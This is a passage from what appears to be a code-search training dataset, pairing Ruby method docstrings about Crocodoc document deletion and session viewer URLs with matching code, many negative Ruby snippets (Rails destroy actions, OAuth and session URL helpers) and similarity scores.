Octokit::Client.new(access_token: token)\n client.auto_paginate = true\n client\n end", "def initialize\n @client_sdk_id = ''\n @key_file_path = ''\n @key = ''\n @sdk_identifier = 'Ruby'\n @api_url = 'https://api.yoti.com'\n @api_port = 443\n @api_version = 'v1'\n end", "def initialize(client_id:, client_secret:, token:, refresh_token:, expires_at:)\n @basic_token = Base64.strict_encode64(\"#{client_id}:#{client_secret}\")\n\n @oauth2_client = OAuth2::Client.new(client_id, client_secret,\n authorize_url: 'https://www.fitbit.com/oauth2/authorize',\n token_url: 'https://api.fitbit.com/oauth2/token')\n\n opts = { refresh_token: refresh_token,\n expires_at: expires_at }\n @access_token = OAuth2::AccessToken.new(@oauth2_client, token, opts)\n end" ]
[ "0.7425202", "0.68720186", "0.6477755", "0.64583945", "0.6447252", "0.63978803", "0.634511", "0.6314314", "0.61362076", "0.61342704", "0.61306655", "0.6129192", "0.60981524", "0.60837555", "0.60818267", "0.60563415", "0.6048341", "0.6038443", "0.6025142", "0.60239226", "0.60231686", "0.59866536", "0.5975689", "0.59677315", "0.5904331", "0.5903798", "0.58826125", "0.5873213", "0.586045", "0.58564866", "0.5844531", "0.58346695", "0.583309", "0.5829829", "0.58251834", "0.58245933", "0.58237803", "0.579935", "0.5784178", "0.5783745", "0.57724094", "0.5750489", "0.5745198", "0.5740072", "0.57195", "0.571928", "0.57157296", "0.5706637", "0.56910986", "0.5687278", "0.5687278", "0.5682525", "0.567331", "0.56729454", "0.5655588", "0.5632396", "0.5618253", "0.5618253", "0.5607752", "0.5606212", "0.5589584", "0.5589396", "0.5587984", "0.55821055", "0.55775285", "0.55737776", "0.5570541", "0.5568959", "0.55638444", "0.5559821", "0.55533", "0.5543718", "0.5539953", "0.55339307", "0.5528053", "0.55176634", "0.551225", "0.5511201", "0.5507511", "0.55053794", "0.5500093", "0.54924864", "0.5485193", "0.5484858", "0.5478449", "0.5476809", "0.54703134", "0.54700035", "0.54694915", "0.5469299", "0.5463475", "0.5463256", "0.5462301", "0.5449504", "0.5445396", "0.54452777", "0.54452753", "0.5444375", "0.54442525", "0.54390955" ]
0.5960988
24
Public: Delete a document. POST uuid a single uuid to delete Examples delete("7cf917de22464ac3adab791a49454180") => true Returns true if the delete was successful
def delete(uuid) raw_body = api_call(:post, "document/delete", { :uuid => uuid }) raw_body == "true" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete(opts = {})\n response = Crocodoc.connection.post 'document/delete', :uuid => @uuid\n response.body.chomp.downcase == 'true'\n end", "def delete\n @client.delete_document(@path)\n end", "def remove_document_by_uuid(uuid)\n @documents.delete(uuid)\n end", "def destroy\n \t@document = Document.find(params[:id])\n unless @document.blank?\n \tif @document.destroy\n \t\trender json: {status: 'SUCCESS', message:'Document deleted', data:@document}, status: :ok\n \telse \n \t\trender json: {status: 'ERROR', message:'Document was not deleted', data:@document}, status: :unprocessable_entity\n \tend\n else \n \t\trender json: {status: 'ERROR', message:'No such document', data:@document}, status: :unprocessable_entity\n end\n end", "def delete!(uuid)\n return_value = delete(uuid)\n raise SessionNotFound if return_value.zero?\n\n true\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def remove doc_id\n # Get the id if passes a Document object\n doc_id = doc_id.doc_id if doc_id.respond_to? :doc_id\n ensure_connection!\n resp = connection.delete_doc index_id, doc_id\n return true if resp.success?\n fail ApiError.from_response(resp)\n end", "def destroy\n @document = Document.find(params[:id])\n if @document.destroy\n render json: @document, status: :accepted\n else\n render json: {errors: @document.errors.full_messages}, status: :unprocessable_entity\n end\n end", "def destroy\n response = API.instance.send_request('docs.delete', :doc_id => self.id)\n return response.elements['/rsp'].attributes['stat'] == 'ok'\n end", "def destroy\n \n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Documento eliminado correctamente' }\n format.json { head :no_content }\n end\n end", "def delete(unique_id)\n rsp = post(\"<delete><id>#{unique_id}</id></delete>\")\n success?(rsp.body) or log_error(rsp.body)\n end", "def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end", "def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end", "def delete\n ensure_client && ensure_uri\n response = @client.rest_delete(@data['uri'], { 'Accept-Language' => 'en_US' }, @api_version)\n @client.response_handler(response)\n true\n end", "def delete_document( doc_id: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :delete, url_for_base(doc_id), params, :json\n end", "def delete_document!(model, id)\n document = find_document!(model, id)\n document.destroy\n document\n end", "def destroy\n user = User.find(params[:user_id])\n user.documents.delete(Document.find(params[:document_id]))\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end", "def destroy\n result = database.delete_doc self\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end", "def delete(document)\n delete_path(document.path)\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to docs_url }\n format.json { head :ok }\n end\n end", "def delete(*args)\n delete!(*args)\n rescue *exceptions\n false\n end", "def destroy\n @document.destroy\n end", "def destroy_document(opts = {})\n es_client.delete document_path(opts)\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_documents_url }\n format.json { head :ok }\n end\n end", "def destroy\n authorize @document\n instruction = @document.instruction\n @document.destroy\n respond_to do |format|\n format.html { redirect_to instruction, notice: t('documents.destroy.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @documentable = @document.documentable\n @document.destroy\n\n notify_user(:notice, 'Document was successfully removed.')\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end", "def delete_document\n @document = Document.find(params[:id])\n @document.destroy\n flash[:notice] = 'Document successfully deleted. !'\n redirect_to :action => :list\n end", "def delete\n request(:delete)\n end", "def delete_document(database_id:, collection_id:, document_id:)\n path = '/databases/{databaseId}/collections/{collectionId}/documents/{documentId}'\n .gsub('{databaseId}', database_id)\n .gsub('{collectionId}', collection_id)\n .gsub('{documentId}', document_id)\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if collection_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"collectionId\"')\n end\n\n if document_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"documentId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'DELETE',\n path: path,\n headers: headers,\n params: params,\n )\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :ok }\n end\n end", "def delete!\n return if @deleted\n delete_page = @client.get @delete_url\n delete_form = delete_page.form_with(:action => /delete/i)\n delete_button = delete_form.button_with(:name => /delete/i)\n delete_form.submit delete_button\n @deleted = true\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n if not @document.destroy\n flash[:error] = 'There was an error deleting the document'\n end\n\n respond_to do |format|\n format.html { redirect_to documents_path }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n begin\n conn.delete(escaped_path)\n true\n rescue => e\n puts \"carrierwave-ucloud delete failed: #{e.inspect}\"\n nil\n end\n end", "def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n \n respond_to do |format|\n format.html { redirect_to tdocs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @doc.destroy\n respond_to do |format|\n format.html { redirect_to docs_url, notice: 'Документ был удалён' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(id)\n raise RuntimeError, \"File datastore does not support document deletion\"\n end", "def destroy(document)\n document.destroy\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n \t@doc = Doc.find params[:id]\n @doc.destroy\nend", "def destroy\n @document.destroy\n redirect_to user_path(current_user)\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @squadron_document = SquadronDocument.find(params[:id])\n @squadron_document.destroy\n\n respond_to do |format|\n format.html { redirect_to squadron_documents_url }\n format.json { head :ok }\n end\n end", "def destroy\n (@document = Document.find(params[:id])).destroy\n flash['notice'] = 'Destroyed document.'\n respond_with @document\n end", "def delete\n code = @session.delete_research_object(@uri)[0]\n @loaded = false\n code == 204\n end", "def destroy\n authorize @document\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: t('document.destroy.confirmation') }\n format.json { head :no_content }\n end\n end", "def destroy\n @modified_document = ModifiedDocument.find(params[:id])\n \n if @modified_document.destroy\n render json: @modified_document, status: :ok \n else\n render json: @modified_document.errors, status: :unprocessable_entity\n end\n end", "def delete record\n db_name = database_name_for(record)\n coll_name = collection_name_for(record)\n case\n when id = id_for(record)\n pointer = \"/#{db_name}/#{coll_name}/#{id}\"\n res = collection_for(record).remove({:_id => id})\n if res[\"err\"]\n log.error(res[\"err\"])\n else\n log.debug(\"Deleted #{pointer}\")\n end\n when query = delete_query_for(record)\n pointer = \"/#{db_name}/#{coll_name}\"\n res = collection_for(record).remove(query)\n if res[\"err\"]\n log.error(res[\"err\"])\n else\n log.debug(\"Deleted #{res['n']} records from #{pointer}\")\n end\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n begin\n @document.destroy\n flag = true\n rescue\n error_message = ''\n @document.errors[:error_message].each do |error|\n if error == @document.errors[:error_message].last\n error_message += error.to_s\n else\n error_message += error.to_s + ','\n end\n end\n flash.now[:error] = error_message\n flag = false\n end\n respond_to do |format|\n format.json { render :json => flag }\n format.any { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def delete(uid)\n raise '`delete` method is not supported for this resource.'\n end", "def delete(uid)\n raise '`delete` method is not supported for this resource.'\n end", "def delete(uid)\n raise '`delete` method is not supported for this resource.'\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def destroy\n @document = Document.find(params[:id])\n collection = Collection.find(@document.collection_id)\n upload_remove(@document) #Removes upload record if file is deleted\n @document.destroy\n\n respond_to do |format|\n #format.html { redirect_to collections_path }\n format.html { redirect_to collection }\n format.json { head :ok }\n end\n end", "def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to documentos_url }\n format.json { head :no_content }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @document = Document.find(params[:id])\r\n @document.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to documents_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n if @ok\n if !@document.destroy_with_notifications\n @ok = false\n @error = I18n.t('activerecord.errors.models.document.problem_destroying')\n end\n else\n @error = I18n.t('activerecord.errors.models.document.problem_destroying')\n end\n render :json => {:ok => @ok, :msg => @error}\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.8003158", "0.7327317", "0.7097672", "0.6696224", "0.6694576", "0.6627026", "0.6558195", "0.6547385", "0.65295273", "0.6516332", "0.6512793", "0.6511275", "0.6491366", "0.6468646", "0.6451002", "0.642768", "0.6426247", "0.642034", "0.64196974", "0.6400854", "0.6368546", "0.63628954", "0.6352788", "0.63458264", "0.63436925", "0.63434696", "0.6338012", "0.63333744", "0.63318026", "0.6319606", "0.6319606", "0.6316961", "0.6314241", "0.6307055", "0.630595", "0.630595", "0.63023806", "0.62915784", "0.6288913", "0.62884754", "0.62884754", "0.62878054", "0.6287653", "0.62855357", "0.62855357", "0.62809956", "0.6280706", "0.62679267", "0.62615544", "0.6258006", "0.6256346", "0.62557006", "0.625055", "0.6234484", "0.6229157", "0.622139", "0.62152505", "0.62152505", "0.62152505", "0.6203556", "0.6200778", "0.6200778", "0.6200778", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.6200085", "0.61967623", "0.6194806", "0.61934054", "0.6193055", "0.6187491", "0.61841446", "0.6181298", "0.6181298", "0.61762357", "0.61762357", "0.61762357", "0.61762357", "0.61762357", "0.6170458", "0.6169756", "0.616686", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318", "0.6156318" ]
0.8553729
0
Public: Get the url for the viewer for a session. session The uuid of the session (see session) Examples view("CFAmd3Qjm_2ehBI7HyndnXKsDrQXJ7jHCuzcRv_V4FAgbSmaBkF") => Returns a url string for viewing the session
def view(session_id) "https://crocodoc.com/view/#{session_id}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_viewing_url(session)\n \"https://crocodoc.com/view/#{session.key}\"\n end", "def viewer\n authorize @session\n end", "def get_viewer_link(urn,access_token)\n #absolute url = request.base_url\n url = \"/viewer1.html?token=#{access_token}&urn=#{urn}\"\n link = \"<a href=\\\"#{url}\\\" target=\\\"_blank\\\">View Model</a>\"\n return link\n end", "def viewer_url_s\n dip_field(:viewer_path)\n end", "def url\n dnb_session_no = @session_no ||= 1\n session_time = dnb_session_no == 2 ? \"12:15\" : \"08:15\"\n \"http://www.dnbnord.pl/pl/tabela-kursow-walut-dla-kredytow/go:godzina=#{session_time}\"\n end", "def getViewLink(request)\r\n viewid = request.getParameter(\"viewid\") \r\n if !viewid.nil? \r\n newviewid = KeywordProcessor.filterAlphaNumeric(viewid)\r\n end\r\n return nil if newviewid.nil?\r\n link = @daohelperlink.readLinkListing(newviewid.to_i())\r\n cur_session = request.getSession(false)\r\n cur_session = BotListSessionManager::safeCreateSession(request) if cur_session.nil?\r\n if !cur_session.nil?\r\n cur_session.setAttribute(BotListSessionManager::CURRENT_LINK_VIEW, link)\r\n end \r\n return link\r\n end", "def getViewLink(request)\r\n viewid = BotListWebCore.safeGetParameter(request, BotListWebCore::REQUEST_GET_VIEW_ID)\r\n link = @daohelperlink.readLinkListing(viewid.to_i())\r\n cur_session = request.getSession(false)\r\n if cur_session.nil?\r\n return link\r\n end\r\n cur_session.setAttribute(BotListSessionManager::CURRENT_LINK_VIEW, link) \r\n return link\r\n end", "def login_url(params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url({ request_token: req_token.token, request_token_secret: req_token.secret })\n end", "def view(name, parameters = {})\n\t\t\tClient.get view_url(name, parameters)\n\t\tend", "def iss_url\n session[:iss_url]\n end", "def viewing_session(opts = {})\n Crocodoc::DocumentViewingSession.new(self, opts)\n end", "def preview_url(opts={})\n url(opts)\n end", "def login_url(params, session)\n self.authorize_url({ authorize_url: auth_path })\n end", "def view_url(name, parameters = {})\n\t\t\tpath = (name =~ /^([^_].+?)\\/(.*)$/ ? \"_design/#{$1}/_view/#{$2}\" : name)\n\t\t\t\n\t\t\tClient.encode_url(\"#{@root}/#{path}\", parameters)\n\t\tend", "def get_with_session_login(path, session)\n get path, nil, {\"rack.session\" => {\"uid\" => session['uid']}}\n end", "def show\n # raise\n if session[:created_at] && session[:created_at] < 2.minutes.ago\n reset_session\n end\n @plain_url = Short.decrypt(@short)\n end", "def path_to_view view\n paths_to_view(view).first\n end", "def view(ddoc,view,*opts)\n q = \"#{database}/_design/#{ddoc}/_view/#{view}\"\n q << build_query_string(opts.first,\"view\") if opts && opts.any? && opts.first.is_a?(Hash)\n\n @conn.query({url_path: q, method: :get})\n end", "def open_viewer(urn,access_token)\n path = File.expand_path(File.dirname(__FILE__))\n url = \"file://#{path}/viewer.html?token=#{access_token}&urn=#{urn}\"\n text_to_print_in_color = \"Please open the following url in your favorite browser:\\n#{url}\"\n puts(\"\\e[7m#{text_to_print_in_color}\\e[27m\")\n\nend", "def login_url(prt, opts = {})\n plid = login_request(prt, :requested => opts.delete(:requested), :seed => opts.delete(:seed)).plid\n login_url_from_plid( plid, opts.delete(:demo) )\n end", "def login_url(_params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url(request_token: req_token.token, request_token_secret: req_token.secret)\n end", "def show url\n function = ''\n \n params = {}\n params[:url] = url\n\n request(@resource, function, params)\n end", "def link\n id = session[:id].to_s\n url =\"http://ourco2.org/dopplr/?userid=\"+id\n redirect_to \"https://www.dopplr.com/api/AuthSubRequest?scope=http://www.dopplr.com&next=\"+url+\"&session=1\"\n end", "def view()\n @view\n end", "def getViewLink(request)\r\n viewid = request.getParameter(\"viewid\")\r\n if !viewid.nil? \r\n newviewid = KeywordProcessor.filterAlphaNumeric(viewid)\r\n end\r\n return nil if newviewid.nil?\r\n # Use alpha-numeric viewid\r\n newviewid\r\n end", "def view_path\n @@view_path\n end", "def show\n authorize @session\n @session_trainer = SessionTrainer.new\n respond_to do |format|\n format.html\n format.pdf do\n render(\n pdf: \"#{@session.title}\",\n layout: 'pdf.html.erb',\n template: 'sessions/show',\n show_as_html: params.key?('debug'),\n page_size: 'A4',\n encoding: 'utf8',\n dpi: 300,\n zoom: 1,\n )\n end\n end\n end", "def login_url(params,session)\n req_token = self.get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n self.authorize_url({:request_token => req_token.token, :request_token_secret => req_token.secret})\n end", "def show\n return unless restrict_to_hosts\n\n get_session_data(@session)\n end", "def canvas_url\n session[:canvas_url]\n end", "def show\n # Remember where the user is so if they're not logged in here, we can bring them back after sign in.\n session[:return_to] = request.url\n end", "def url\n '/users/show/' + login\n end", "def url_for_user_show(user)\n if logged_in?\n return url_for user_path(user)\n else\n return url_for login_path\n end\n end", "def viewer\n @viewer ||=\n User.find_by_facebook_uid(facebook_cookies[:user_id]) ||\n User.new(:facebook_uid => facebook_cookies[:user_id])\n end", "def screen_uri(params = {}, sn = screen_name)\n uri = URI(\"https://\" + app.captureui_addr)\n uri.path = \"/oauth/#{sn}\"\n uri.query = URI.encode_www_form(params)\n uri.to_s\n end", "def login_url(url)\n return \"https://www.dopplr.com/api/AuthSubRequest?scope=#{CGI.escape(\"http://www.dopplr.com/\")}&next=#{CGI.escape(url)}&session=1\"\n end", "def show\n @session = Session.where(unique_id: params[:id])\n # New round logic here\n\n end", "def show\n puts @url.inspect\n end", "def show\n #logger.debug( cookies.inspect )\n logger.debug( \"Authorization header: #{request.headers['Authorization']}\" )\n @session = Session.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml\n format.json do\n render :json => {\n :session => {\n :token => @session.token,\n :link => {\n :rel => 'session',\n :uri => session_path(@session)\n }\n }\n }\n end\n end\n end", "def to_param\n session_id\n end", "def index\n params[:id] = session_user_id\n show\n end", "def view_to_url(view, parent = nil)\n association = view_to_association(view, parent)\n if association.nil?\n controller, action = db_to_controller(view.db)\n if controller == \"ems_cloud\" && action == \"show\"\n return ems_clouds_path\n end\n if controller == \"ems_infra\" && action == \"show\"\n return ems_infras_path\n end\n if controller == \"ems_physical_infra\" && action == \"show\"\n return ems_physical_infras_path\n end\n if controller == \"ems_container\" && action == \"show\"\n return ems_containers_path\n end\n if controller == \"ems_network\" && action == \"show\"\n return ems_networks_path\n end\n if controller == \"ems_storage\" && action == \"show\"\n return ems_storages_path\n end\n\n if request[:controller] == 'service' && view.db == 'GenericObject'\n action = 'show'\n return url_for_only_path(:action => action, :id => params[:id]) + \"?display=generic_objects&generic_object_id=\"\n end\n if @explorer\n # showing a list view of another CI inside vmx\n if %w[SecurityGroup\n SecurityPolicy\n SecurityPolicyRule\n FloatingIp\n NetworkRouter\n NetwokrService\n NetworkPort\n CloudNetwork\n CloudSubnet\n LoadBalancer\n CloudVolume].include?(view.db)\n return url_for_only_path(:controller => controller, :action => \"show\") + \"/\"\n elsif [\"Vm\"].include?(view.db) && parent && request.parameters[:controller] != \"vm\"\n # this is to handle link to a vm in vm explorer from service explorer\n return url_for_only_path(:controller => \"vm_or_template\", :action => \"show\") + \"/\"\n elsif %w[MiqWidget\n ConfigurationScript\n MiqReportResult].include?(view.db) &&\n %w[report].include?(request.parameters[:controller])\n suffix = ''\n if params[:tab_id] == \"saved_reports\" || params[:pressed] == \"miq_report_run\" || params[:action] == \"reload\"\n suffix = x_node\n end\n return \"/\" + request.parameters[:controller] + \"/tree_select?id=\" + suffix\n elsif %w[User MiqGroup MiqUserRole Tenant].include?(view.db) &&\n %w[ops].include?(request.parameters[:controller])\n if @tagging\n return false # when tagging Users, Groups, Roles and Tenants, the table is non-clickable\n else\n return \"/\" + request.parameters[:controller] + \"/tree_select/?id=\" + x_node.split(\"-\")[1]\n end\n elsif view.db == \"MiqServer\" &&\n %w[ops report].include?(request.parameters[:controller])\n return \"/\" + request.parameters[:controller] + \"/tree_select/?id=\" + TREE_WITH_TAB[active_tab]\n elsif %w[ScanItemSet\n MiqSchedule\n PxeServer\n PxeImageType\n Storage\n CustomizationTemplate].include?(view.db) &&\n %w[ops pxe report].include?(params[:controller])\n return \"/#{params[:controller]}/tree_select/?id=#{TreeBuilder.get_prefix_for_model(view.db)}\"\n else\n return url_for_only_path(:action => action) + \"/\" # In explorer, don't jump to other controllers\n end\n else\n controller = case controller\n when 'template_cloud'\n 'vm_cloud'\n when 'template_infra'\n 'vm_infra'\n when 'miq_ae_domain'\n 'miq_ae_class'\n else\n controller\n end\n\n return url_for_only_path(:controller => 'restful_redirect', :model => 'ExtManagementSystem') if controller == 'ext_management_system'\n\n return url_for_only_path(:controller => controller, :action => action, :id => nil) + \"/\"\n end\n else\n # need to add a check for @explorer while setting controller incase building a link for details screen to show items\n # i.e users list view screen inside explorer needs to point to vm_or_template controller\n return url_for_only_path(:controller => parent.kind_of?(VmOrTemplate) && !@explorer ? parent.class.base_model.to_s.underscore : request.parameters[\"controller\"],\n :action => association,\n :id => parent.id) + \"?#{@explorer ? \"x_show\" : \"show\"}=\"\n end\n end", "def guest_link\n return guest_hearing_link if guest_hearing_link.present?\n\n \"#{VirtualHearing.base_url}?join=1&media=&escalate=1&\" \\\n \"conference=#{formatted_alias_or_alias_with_host}&\" \\\n \"pin=#{guest_pin}&role=guest\"\n end", "def login_url(_params, _session)\n authorize_url\n end", "def get_console_view_url(envelopes_api, account_id, console_view_request)\n edit_view_results = envelopes_api.create_console_view(account_id, console_view_request)\n edit_view_results.url\n end", "def show\n puts \"======================================\"\n puts \"The session id is #{session[:user_id]}\"\n puts \"======================================\"\n @user = User.find_by_id(session[:user_id])\n end", "def get_correct_view_url(envelopes_api, account_id, envelope_id, correct_view_request)\n begin\n edit_view_results = envelopes_api.create_correct_view(account_id, envelope_id, correct_view_request)\n rescue Exception => e\n puts e\n end\n edit_view_results.url\n end", "def url(id)\n entry(id).url(@user)\n end", "def show\n @subject = subject\n @live_link = get_live_link(subject)\n @session_code\n end", "def show_view_option\n uri = Addressable::URI.parse(request.fullpath.split(\"?\")[0] + \"?\" + generate_next_url)\n newUri = uri.query_values\n if newUri['view'].present?\n view_option = newUri['view'].to_s\n else\n view_option = \"detailed\"\n end\n return view_option\n end", "def show\n @session = Session.find params[:id]\n ok_request @session, %w(user, coordinates, waypoints, chats.user)\n\n rescue ActiveRecord::RecordNotFound\n r = {session: 'Record Not Found'}\n return not_found r\n end", "def original_url\n url = session[:quo_vadis_original_url]\n session[:quo_vadis_original_url] = nil\n url\n end", "def server_url\n params[:server_url] || session[:server_url]\n end", "def show\n begin\n if m = params[:id].match(/([^\\.]+)/)\n uid = m.captures.first\n else\n uid = params[:id]\n end\n sso_session = params[:session]\n\n # Check if session is valid\n @valid_session = (!uid.blank? && !sso_session.blank? && User.where(uid:uid,sso_session:sso_session).count > 0)\n\n # Build response\n response_hash = {\n valid: @valid_session,\n recheck: 3.minutes.from_now.utc\n }\n\n logger.info(\"INSPECT: session_hash => #{response_hash}\")\n\n render json: 